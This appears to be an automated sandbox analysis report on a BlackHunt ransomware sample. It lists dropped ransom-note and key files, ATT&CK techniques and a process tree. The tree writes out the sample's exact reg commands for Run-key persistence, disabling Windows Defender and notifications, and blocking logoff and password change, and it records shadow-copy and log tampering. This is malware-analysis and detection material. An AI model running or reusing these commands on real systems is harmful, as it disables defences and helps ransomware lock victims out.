File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Mendoza	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\El_Salvador	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\LightBlueRectangle.PNG	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\calendars.properties	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access_output\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Spelling.api	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-core_zh_CN.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\README-JDK.html	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Glace_Bay	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Updater.api	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\vlc.mo	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_ReadMe.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\EnterProtect.wmx	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vincennes	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.css.sac_1.3.1.v200903091627.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\README.html	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Guam	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkServerCP	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-lookup.xml	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-core.xml	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_ja.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kuching	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-12	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach_5.5.0.165303.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2696	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1560	vssadmin.exe
5636	vssadmin.exe
2616	vssadmin.exe
3136	vssadmin.exe
1460	vssadmin.exe
2188	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5500	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5896	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
6008	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeRestorePrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeBackupPrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeTakeOwnershipPrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeAuditPrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeSecurityPrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeIncBasePriorityPrivilege	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Token: SeBackupPrivilege	2248	vssvc.exe
Token: SeRestorePrivilege	2248	vssvc.exe
Token: SeAuditPrivilege	2248	vssvc.exe
Token: SeBackupPrivilege	2512	wbengine.exe
Token: SeRestorePrivilege	2512	wbengine.exe
Token: SeSecurityPrivilege	2512	wbengine.exe
Token: SeSecurityPrivilege	5712	wevtutil.exe
Token: SeBackupPrivilege	5712	wevtutil.exe
Token: SeSecurityPrivilege	5788	wevtutil.exe
Token: SeBackupPrivilege	5788	wevtutil.exe
Token: SeSecurityPrivilege	5688	wevtutil.exe
Token: SeBackupPrivilege	5688	wevtutil.exe
Token: SeSecurityPrivilege	5796	wevtutil.exe
Token: SeBackupPrivilege	5796	wevtutil.exe
Token: SeSecurityPrivilege	5596	wevtutil.exe
Token: SeBackupPrivilege	5596	wevtutil.exe
Token: SeDebugPrivilege	5500	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 3040	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	29
PID 2860 wrote to memory of 3040	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	29
PID 2860 wrote to memory of 3040	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	29
PID 2860 wrote to memory of 3040	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	29
PID 2860 wrote to memory of 2948	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	31
PID 2860 wrote to memory of 2948	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	31
PID 2860 wrote to memory of 2948	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	31
PID 2860 wrote to memory of 2948	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	31
PID 2860 wrote to memory of 2144	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	33
PID 2860 wrote to memory of 2144	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	33
PID 2860 wrote to memory of 2144	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	33
PID 2860 wrote to memory of 2144	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	33
PID 3040 wrote to memory of 2568	3040	cmd.exe	34
PID 3040 wrote to memory of 2568	3040	cmd.exe	34
PID 3040 wrote to memory of 2568	3040	cmd.exe	34
PID 2860 wrote to memory of 2604	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	35
PID 2860 wrote to memory of 2604	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	35
PID 2860 wrote to memory of 2604	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	35
PID 2860 wrote to memory of 2604	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	35
PID 2860 wrote to memory of 2700	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	38
PID 2860 wrote to memory of 2700	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	38
PID 2860 wrote to memory of 2700	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	38
PID 2860 wrote to memory of 2700	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	38
PID 2948 wrote to memory of 2684	2948	cmd.exe	39
PID 2948 wrote to memory of 2684	2948	cmd.exe	39
PID 2948 wrote to memory of 2684	2948	cmd.exe	39
PID 2860 wrote to memory of 2612	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	40
PID 2860 wrote to memory of 2612	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	40
PID 2860 wrote to memory of 2612	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	40
PID 2860 wrote to memory of 2612	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	40
PID 2860 wrote to memory of 2692	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	43
PID 2860 wrote to memory of 2692	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	43
PID 2860 wrote to memory of 2692	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	43
PID 2860 wrote to memory of 2692	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	43
PID 2860 wrote to memory of 2420	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	44
PID 2860 wrote to memory of 2420	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	44
PID 2860 wrote to memory of 2420	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	44
PID 2860 wrote to memory of 2420	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	44
PID 2860 wrote to memory of 2644	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	46
PID 2860 wrote to memory of 2644	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	46
PID 2860 wrote to memory of 2644	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	46
PID 2860 wrote to memory of 2644	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	46
PID 2604 wrote to memory of 2712	2604	cmd.exe	48
PID 2604 wrote to memory of 2712	2604	cmd.exe	48
PID 2604 wrote to memory of 2712	2604	cmd.exe	48
PID 2144 wrote to memory of 2128	2144	cmd.exe	49
PID 2144 wrote to memory of 2128	2144	cmd.exe	49
PID 2144 wrote to memory of 2128	2144	cmd.exe	49
PID 2860 wrote to memory of 2732	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	50
PID 2860 wrote to memory of 2732	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	50
PID 2860 wrote to memory of 2732	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	50
PID 2860 wrote to memory of 2732	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	50
PID 2860 wrote to memory of 2632	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	52
PID 2860 wrote to memory of 2632	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	52
PID 2860 wrote to memory of 2632	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	52
PID 2860 wrote to memory of 2632	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	52
PID 2860 wrote to memory of 2464	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	55
PID 2860 wrote to memory of 2464	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	55
PID 2860 wrote to memory of 2464	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	55
PID 2860 wrote to memory of 2464	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	55
PID 2700 wrote to memory of 2492	2700	cmd.exe	56
PID 2700 wrote to memory of 2492	2700	cmd.exe	56
PID 2700 wrote to memory of 2492	2700	cmd.exe	56
PID 2860 wrote to memory of 2516	2860	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
"C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3068
- - C:\Windows\system32\reg.exe
